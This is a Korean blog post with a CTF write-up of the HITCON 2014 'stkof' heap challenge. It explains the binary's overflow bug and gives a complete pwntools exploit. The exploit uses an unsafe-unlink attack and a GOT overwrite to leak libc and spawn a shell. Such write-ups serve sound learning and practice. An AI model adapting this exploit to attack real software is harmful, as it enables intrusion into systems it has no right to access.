HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • 아파치
  • log4j
  • 취약점
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9
SYSTEM HACKING/문제 풀이

HITCON 2014 stkof

HITCON 2014 stkof
SYSTEM HACKING/문제 풀이

HITCON 2014 stkof

2018. 3. 19. 22:28
728x90

요즘 문제를 풀거나 기법 공부 할 시간이 너무없다....

학교공부 안하다가 하려니 따라잡기가 힘들다...

그래서 간만에 글을 쓰게된다.


이문제는 Unsafe unlink를 이용한 문제이다.

잘모르는 사람은 how 2 heap의 Unsafe unlink를 보고 오는 것을 추천한다.


ida로 파일을 열어보자.

(변수명,함수명은 작성자가 마음대로 정의함.)






main을 보면 몇개의 메뉴가 보인다.

1번은 make_chunk

2번은 edit_data

3번은 free_chunk

4번은 check_chunk이다.


그럼 하나씩 살펴보자.




make_chunk




make_chunk함수는 size를 입력을 받고 그 size만큼을 malloc을 해주는 함수이다.

말그대로 make_chunk이다.


edit_data


edit_data함수를 보면 size를 입력을 받고 size만큼 데이터를 쓸 수 있다.

말그대로 원하는 크기만큼 입력을 받을 수 있는 것이다.

딱봐도 overflow가 일어 날 것 같다.


free_chunk



free를 원하는 청크 번호를 입력을 해주면

그 청크를 free를 해준다.


check_chunk



이곳을 이용해서 chunk의 유무를 알 수 있다.



.

.

.


솔직히 메뉴들은 간단하다.

문제도 그렇게 어려운 편은 아니다.



unsafe unlink를 통해서 변수 s에 값을 써준다음,

got overwrite를 이용해서 leak을 해주면 될 것 같다.

(※변수 s가 포인터임)


leak까지 해주면 shell따는 건 껌이라고 생각을 하고 exploit코드를 올리겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python
 
from pwn import *
 
p    =    process('./stkof')
e    =    ELF('./stkof')
l    =    ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
raw_input()
 
def make(size):
    p.sendline("1")
    p.sendline(str(size))    
    print p.recvuntil("OK")
 
def edit(idx,size,data):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(size+1))
    p.sendline(data)
    print p.recvuntil("OK")
 
 
def free(idx):
    p.sendline("3")
    p.sendline(str(idx))
    print p.recvuntil("OK")
 
make(0x80)
make(0x80)
make(0x80)
make(0x80)
 
 
payload  = p64(0)
payload += p64(0)
payload += p64(0x602150-0x18)
payload += p64(0x602150-0x10)
payload += "A"*0x60
 
payload += p64(0x80)
payload += p64(0x90)
 
edit(2,len(payload),payload)
free(3)
 
payload  = p64(0) #padding address s
payload += p64(0) #padding address s+8 = s[8*num] starting 8
payload += p64(e.got['strlen'])
payload += p64(0x602158)
payload += p64(e.got['fgets'])
payload += p64(0x602168)
payload += "/bin/sh\x00"
 
edit(2,len(payload),payload)
edit(1,8,p64(e.plt['printf']))
 
p.sendline('4')
p.sendline('3')
 
p.recv(1)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc = leak - l.symbols['fgets']
system = libc + l.symbols['system']
 
print "[*]Leak Data  :",hex(leak)
print "[*]Libc Addr  :",hex(libc)
print "[*]System Addr:",hex(system)
 
edit(1,8,p64(system))
 
 
p.sendline("4")
p.sendline("4")
 
 
 
p.interactive()
 
 
Colored by Color Scripter
cs







'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글

Dreamhack basic_rop_x86  (0) 2020.04.24
2018 Codegate - Melong  (0) 2018.05.10
BCTF 2016 Bcloud  (0) 2018.03.15
Hack.lu CTF 2014 - oreo  (2) 2018.03.10
2018 Codegate - Super marimo  (0) 2018.02.14
    'SYSTEM HACKING/문제 풀이' 카테고리의 다른 글
    • Dreamhack basic_rop_x86
    • 2018 Codegate - Melong
    • BCTF 2016 Bcloud
    • Hack.lu CTF 2014 - oreo
    HO_9
    HO_9

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.